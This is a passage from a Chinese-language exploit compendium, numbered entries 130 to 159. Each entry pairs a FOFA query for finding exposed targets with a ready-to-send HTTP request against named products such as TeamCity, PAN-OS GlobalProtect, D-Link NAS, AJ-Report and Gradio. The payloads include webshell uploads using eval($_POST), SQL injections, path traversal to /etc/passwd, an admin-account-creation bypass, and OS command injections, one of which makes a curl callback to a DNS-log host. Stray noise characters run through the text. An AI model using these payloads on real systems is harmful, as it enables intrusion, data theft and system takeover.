User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
( Y1 C# U9 o0 M' S0 B) R! P9 pAccept-Encoding: gzip, deflate
* m# Y+ [7 L$ C/ `. o5 c' }- GConnection: close


第二步，读取/etc/passwd文件
9 c. ^! G; f, `8 O) T/ ~GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
' L. J5 t- I4 O7 jHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
; g7 r- g* _% W8 i8 s# @Accept-Encoding: gzip, deflate
: M6 y) L. O% u, K: B; o$ f& [& A( m5 CConnection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9

1 }2 {/ t5 b0 k/ n) Q8 n2 h" c8 U
130. Laykefu客服系统任意文件上传
; k: j0 r8 [1 S, r) V3 {6 u+ k( ?( fFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
1 R& X2 t! }' {* W/ [X-Requested-With: XMLHttpRequest
( Q' o1 V9 W; [) ZUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
/ b' x4 q6 |6 Y! |Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
5 Q+ Z  t6 I1 H- Y: SCookie: user_name=1; user_id=3
2 a" a( C0 g# [0 t: CConnection: close

7 U. w" G5 T1 Z3 ]1 k' o6 @& y. y------WebKitFormBoundary3OCVBiwBVsNuB2kR
! j2 A7 l6 _2 a8 M3 o9 Y: ^' g" ]4 tContent-Disposition: form-data; name="file"; filename="1.php"
/ U7 t( S4 p$ UContent-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
! f$ J  {4 {+ k: M------WebKitFormBoundary3OCVBiwBVsNuB2kR--

9 C! Q# H; D% B: I) b- u( s- L  O6 I! }
# v' y8 p+ o6 D$ J9 u3 {8 ]1 [/ @131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
8 M5 L7 b: a! q后台地址：http://localhost:8080/tmall/admin
/ c' e6 W8 U, v  }8 ?3 _http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
- V6 l1 n; r( _. u7 w: L: D. b
  a' Y) U) [! @7 {' Z132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
  N  y  V5 N* ~1 s' ^8 qFOFA：body="Log in to TeamCity"
. Q8 L8 \! R0 d4 r& f4 p: iPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
' ~8 E* @( I$ ?- a: t6 L- f5 EHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate

! B( `# C; O4 {" T3 S5 X{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

& x9 A( N/ Y- [* [  N
/ [/ x. f7 j6 z+ e5 w9 yCVE-2024-27199
/res/../admin/diagnostic.jsp
1 f  m1 z, g5 D& \' f, G/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
: W* @6 t/ A: p" L  o& t! U
- E0 A  A) _" d/ W! n
CVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
3 ]7 }0 O5 P$ n7 }: m; C3 d8 P* A. |FOFA：body="/public/qbsp.php"
$ l  r; z; M+ j2 p. w8 vPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
* G- ?) d1 u6 a7 I; o8 }' `( k- [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
, V! z$ T; m: L' |/ i9 d! lContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream
' `4 A8 `9 z$ J7 P
2 x# Q3 u. \& f3 j; g5 W<?php system("cat /etc/passwd");unlink(__FILE__);?>
: U+ h; C. J4 H- h- V* ?: s% M------WebKitFormBoundaryFQqYtrIWb8iBxUCx--


1 Y# w7 ~4 M+ y# Q: B" P+ Q1 x
134. 网康NS-ASG应用安全网关index.php sql注入
6 Z! x- H' ?- T2 A( T5 f" a; ZCVE-2024-2330
/ B: J8 u! F/ INetentsec NS-ASG Application Security Gateway 6.3版本
  G  L$ S) p5 J- ^8 IFOFA：app="网康科技-NS-ASG安全网关"
+ V- C% x% q1 W6 `3 O" x& N- ZPOST /protocol/index.php HTTP/1.1
4 S" Q7 V+ ?# @7 l) {: RHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
6 P: _% v# J# dUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
6 b) m* d' G: a( \; `) QAccept: */*
0 p* x9 T, x$ UAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
( k% s5 \$ _6 f, k9 ~" T9 m& k: |Sec-Fetch-Site: same-origin
# G# Z( g! s  E# t9 OTe: trailers
Connection: close
- t; y+ H2 D9 q+ H- b: n) lContent-Type: application/x-www-form-urlencoded
. |" _, z1 [7 K4 i0 L% Z; DContent-Length: 263
0 C. _# z2 ?" i2 a7 b8 J4 ]
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}


9 P1 }3 M( ?/ E: \' e135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
3 S( V  {, D4 BGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
3 c" n+ b7 Z% O  X( K# M; e7 \9 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) @0 X! E& ]; O: K& aAccept-Encoding: gzip, deflate
3 C) r4 p: i' i1 U# @Accept-Language: zh-CN,zh;q=0.9
# K5 i. R! o, {: p2 n6 n$ F" ~6 YConnection: close
1 v0 ^/ V7 {# C2 M/ F# L5 K
2 E1 {: ]9 j. X" b2 ], x
136. NextChat cors SSRF
" ]" m9 @1 Z: g8 i! H4 _CVE-2023-49785
FOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
7 e! @3 R& y/ F# w8 u4 pUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
  ^, E' w5 P- C+ VAccept-Encoding: gzip
9 p8 [2 H* e, m$ m0 K
& r) m) y( R# l0 M; |6 C! b
: F9 U8 P( `: k' Y* P. e- \4 A7 A137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
- r' G) z/ m3 P% {  @FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
8 x' p( \8 @7 {7 Z5 F! mGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
4 {* s; k% w, r1 x2 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! l& a+ W% `6 o2 `4 O* vAccept-Encoding: gzip, deflate, br
' V" U5 ]8 H# P3 K4 F$ N! Z, Z- HConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1

4 d+ [5 V4 H: _0 p
4 J: j5 [  E; |4 B  ?. h. f3 }138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
& `) d% G4 e' j  O) vFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
$ {: x2 n& B5 z' CGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
1 `* G9 G# u4 \3 m* iHost: x.x.x.x
  h4 h$ S! U* ]3 n( P% x, G3 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
! `7 |5 z) p$ m6 r; c, iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ g3 |: v% {* {* S1 E3 WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( a6 m6 t- Y' t5 C; v2 tAccept-Encoding: gzip, deflate, br
0 K( g# \! O; U+ R8 c) nConnection: close
4 p. q; a1 u* ?9 {: `( K& y' I& B3 ~Upgrade-Insecure-Requests: 1
6 U! U" I( |+ {- }( v; \1 ^4 E, X
  K& m2 Z0 c/ l  |
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
  z" {; b! l  [; g, }- k" VCVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
, S( C, `& L  E6 ~: y: M& WHost: x.x.x.x
8 k" Q' k% j" n6 @+ C) c+ m2 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
; o2 p1 `% L1 A8 n/ Y7 y  `& c6 zUpgrade-Insecure-Requests: 1
" R% \3 n% E$ M' \% ?

140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
' x4 O; T& [7 w0 X, Q5 C- vFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
. X: A$ C! \" Z6 o) PGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
1 J( c  \7 A5 t0 p3 l1 NAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- h) X$ d4 S  M* Q  N% B' Z& EAccept-Encoding: gzip, deflate, br
Connection: close
* y7 }: R1 ~8 I5 a! eCookie: authcode=h8g9
$ A/ O( D; J3 v- E+ U8 tUpgrade-Insecure-Requests: 1


3 g% r9 V: [  H' R" Q% |, b3 {141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
7 n$ ~$ B# E3 v# @9 }FOFA：body="指挥调度管理平台"
& }; [+ L4 w; U# P9 k# yPOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
) R- b" ?( d' `% D* |) y: aUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
: A" f9 B% e: i$ [  x, SContent-Type: application/x-www-form-urlencoded
& f- ^, S, P% |# s. p: `) M
: @% U* w! A/ E0 ^
dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


142. CMSV6车辆监控平台系统中存在弱密码
4 D9 `5 T. t& o6 ?3 Z; yCVE-2024-29666
FOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
) l" s# F/ j/ x8 MCVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD
2 I4 m' P, ^4 Q% b* W
144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
/ s7 W% I( u' H/ LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
' j* [& K1 J6 j, Z3 }Accept-Language: en
Accept-Encoding: gzip

3 N6 ]7 Z: c3 K% x& p9 x
' r$ V+ G, _3 u8 L2 g* ?5 h% P145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
2 q: h2 O  _' |0 q, c) Y1 yCVE-2024-3400
0 e  D: S, v8 ]. i) ^# gFOFA：icon_hash="-631559155"
% T0 ~! ^3 H, O' o. |% pGET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
" p" Z) \& r- y; V) w/ N7 yConnection: close
; B# E( ]3 ]9 ]4 |$ K1 }Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
* T1 ]4 i; {4 d2 }9 C& d

# O' p+ Y1 z3 Z6 v) h# x/ Z" n- g. C146. MajorDoMo thumb.php 未授权远程代码执行
6 w2 G+ I+ _6 |5 X7 LCNVD-2024-02175
  V1 D! i. B8 U6 @3 yFOFA：app="MajordomoSL"
1 k* Z# m0 r' C- Z# E! J. ?; PGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
1 H$ }4 C' P" w7 z! N( lConnection: close

& M1 p2 c( @/ f3 D( ^
4 S$ [7 \3 \: m( [) u: a8 s147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
( }4 [( v1 x) `' h/ i1 X6 D2 WGET /webeditor/../../../windows/win.ini HTTP/1.1
( A6 H: @6 P! M% _Host: 127.0.0.1:81
# W( p! P$ K9 m$ d7 t+ g+ Y6 UCache-Control: max-age=0
Connection: close


. x( e5 k) q3 f' c2 `148. CrushFTP 认证绕过模板注入
3 X: Y4 e4 z& _. u" V  d) eCVE-2024-4040
* I; H" M0 M  HFOFA：body="CrushFTP"
PAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
1 q% d  u* |' Z1 o4 }. r2 jFOFA：title="AJ-Report"
9 t) y6 h. x7 Y; p2 g- \) o
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
, \' g  M2 p7 w7 R6 w  R) W4 `Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
, T9 k  N) d* h5 m) u6 qAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
& A# {. }5 C8 B( P; N8 zConnection: close
9 J% M& s6 T  R; w: b+ R$ e
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
% t2 ^: B2 b+ h2 n, X
150. AJ-Report 1.4.0 认证绕过与远程代码执行
% X9 O1 f7 t9 c7 p- l% |& B5 S1 [FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339

1 p! L- U% n; t{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}


151. AJ-Report 1.4.1 pageList sql注入
1 }5 o+ @9 i" g8 b, mFOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
& ?, R/ m! [  W. ~$ A  qHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
& k9 H; P/ q# K# V8 AAccept-Encoding: gzip
; G0 B+ u/ C# H

152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
$ l& d. W7 O7 Q7 V6 ?LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
' a& ?. p; n- B9 `, q( K0 wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
$ @7 y4 e5 X5 u( m2 RConnection: close
Accept: */*
Accept-Language: en
3 E: n% y" I" o. yAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip


153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config


2 X6 F' ~  l9 H- {8 O第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
3 {0 L3 U5 ?: g3 B; p* SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
( {4 x7 Q# o, O" }0 }! {Connection: close
Content-Length: 115
9 }8 Y9 K, e% R$ p6 O- H+ OContent-Type: application/json
Accept-Encoding: gzip
$ }# u, d7 S8 _
5 I# J3 q: Q0 j8 G/ [9 Z  S4 Y9 |{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}
% V% d7 J, ]* e" E% N* Q

% N& R0 y4 u1 S2 b0 J1 y  o第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
$ F7 t0 D3 P6 J8 ?) m/ W' q" Z# G$ d
8 g/ B) E- S2 T, K% o3 I3 f
154. 天维尔消防救援作战调度平台 SQL注入
3 H0 s* P8 q( [  qCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
0 Y3 x, u' u6 C! y. B0 KContent-Length: 106
Cache-Control: max-age=0
/ S' j$ C! {4 ~" J: q8 Y4 {6 OUpgrade-Insecure-Requests: 1
0 G, Y) x. k  |6 P: t: BOrigin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- z, n0 P  D9 wReferer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
! i+ v2 i% ?" `. GAccept-Encoding: gzip, deflate
5 o3 \! a% j5 ]* f0 m7 g* C# fAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
7 j- P& F2 {" d. q2 jConnection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}

) f, [/ @5 B) A* {3 ]+ d
- C7 b6 H9 j$ T  J9 t+ c155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
% h( e# |5 w- CPOST /include/file.php HTTP/1.1
, R. @; ]4 q: p. ?' l7 xHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 c: i! o6 w* L8 T' k: jContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
& B3 i) L, h0 A/ s- B
-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
( \; n( X; R8 ?! ]  d; GContent-Type: image/png
& N- }9 P& m1 l1 b+ D  m" _
<?php phpinfo();unlink(__FILE__);?>
5 o  l& B7 E& ?/ w# Y9 J" w( S-----------------------------qttl7vemrsold314zg0f--
4 X5 F: @! N& Z) [9 X; h+ R
- M% E1 w9 L: r4 \# U* P2 B. p
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
6 @% N& F1 W0 A7 u" l! z' P1 K" n' tCVE-2024-3721
% n8 s: j7 e& Z, d4 k: }/ r9 uFOFA："Location: /login.rsp"
4 H- A5 }4 p( Z9 q( O: Q·TBK DVR-4104
3 q4 u8 g: P2 d( k" x! i  y·TBK DVR-4216
1 h8 k" C. V- k4 ?curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"


POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
! [% b' r, m+ Q- IHost: x.x.x.x
4 n* A: z1 t5 x  K' c* v( l8 LUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. y6 I+ A/ P( \; i2 e: |! c. I  sConnection: close
Content-Length: 0
Cookie: uid=1
Accept-Encoding: gzip
' J7 _9 p# G6 @$ @
% H7 T# V" i0 t$ ?8 o5 p. h" d
3 G, k* |5 r, {157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
. N: K! Q$ s% g' c# Q3 vContent-Length: 709
+ B; A/ b' a  c0 c( F7 P$ YAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
; Z3 o- M) l# ~* M- d; I  f1 lAccept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
& E+ H, s# o! `7 b2 WConnection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
" y8 d; ^+ ]9 }6 v% d# P
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
. u) o  I- y1 U; ]& F9 yContent-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
  T4 P: {: j; e7 F7 m# GContent-Disposition: form-data; name="key"
4 }5 b7 \& H- P8 x( U" M) P
null
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

null
" [- q8 I. g, b. @  Q------WebKitFormBoundary1imovELzPsfzp5dN
" N0 Y- b* `# \* S# @4 Z/ W! O$ l% {Content-Disposition: form-data; name="field"

7 [6 {& \/ h1 y, d6 I* S/ Znull
------WebKitFormBoundary1imovELzPsfzp5dN
# W) H1 T1 p/ w* a2 f! L, wContent-Disposition: form-data; name="filetitile"
9 D6 ]. H2 U' f3 [# ?, X7 M) z
' q: X1 u9 N( z) C1 ~2 i* ?( wnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

null
& c8 q9 {5 g1 ~: k; i------WebKitFormBoundary1imovELzPsfzp5dN--


http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

7 @: `" u" q0 K7 y% Y# r  d158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
FOFA："Generator: Masa CMS"
1 E& ?1 @% V& g/ PPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
. m+ B* l2 C' v% Y9 `Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
0 w% Y& f4 A/ x% n  ~5 K7 [( @
( @' ]: b) n: f) _& D/ I8 d& E! ^4 vobject=displayregion&contenthistid=x\'&previewid=1

/ A6 l* Z& J  f- @! B
" \9 m: J# ^3 O# z159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
$ y: K$ d' g9 p# y; x5 LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
) s) ^0 v( r/ I( S  N$ oContent-Length: 1080
Accept-Encoding: gzip, deflate
+ w' y/ [2 _( }# E: }) ]3 HConnection: close
$ C% x' C9 x! Y$ ]$ v! |: t! zContent-Type: text/xml; charset=utf-8
" w1 `% n4 q6 D0 wSoapaction: "http://rainier/jobUpload"
9 j# x. F, X% `
<?xml version="1.0" encoding="utf-8"?>
0 |5 o5 z( i* U: e3 _3 f<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
/ U9 B) z0 l- N( s+ f4 }4 Y<soap:Body>
. O5 d7 @0 `/ u- P. L- t4 u" {<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
<fileName>abcrce.asmx</fileName>
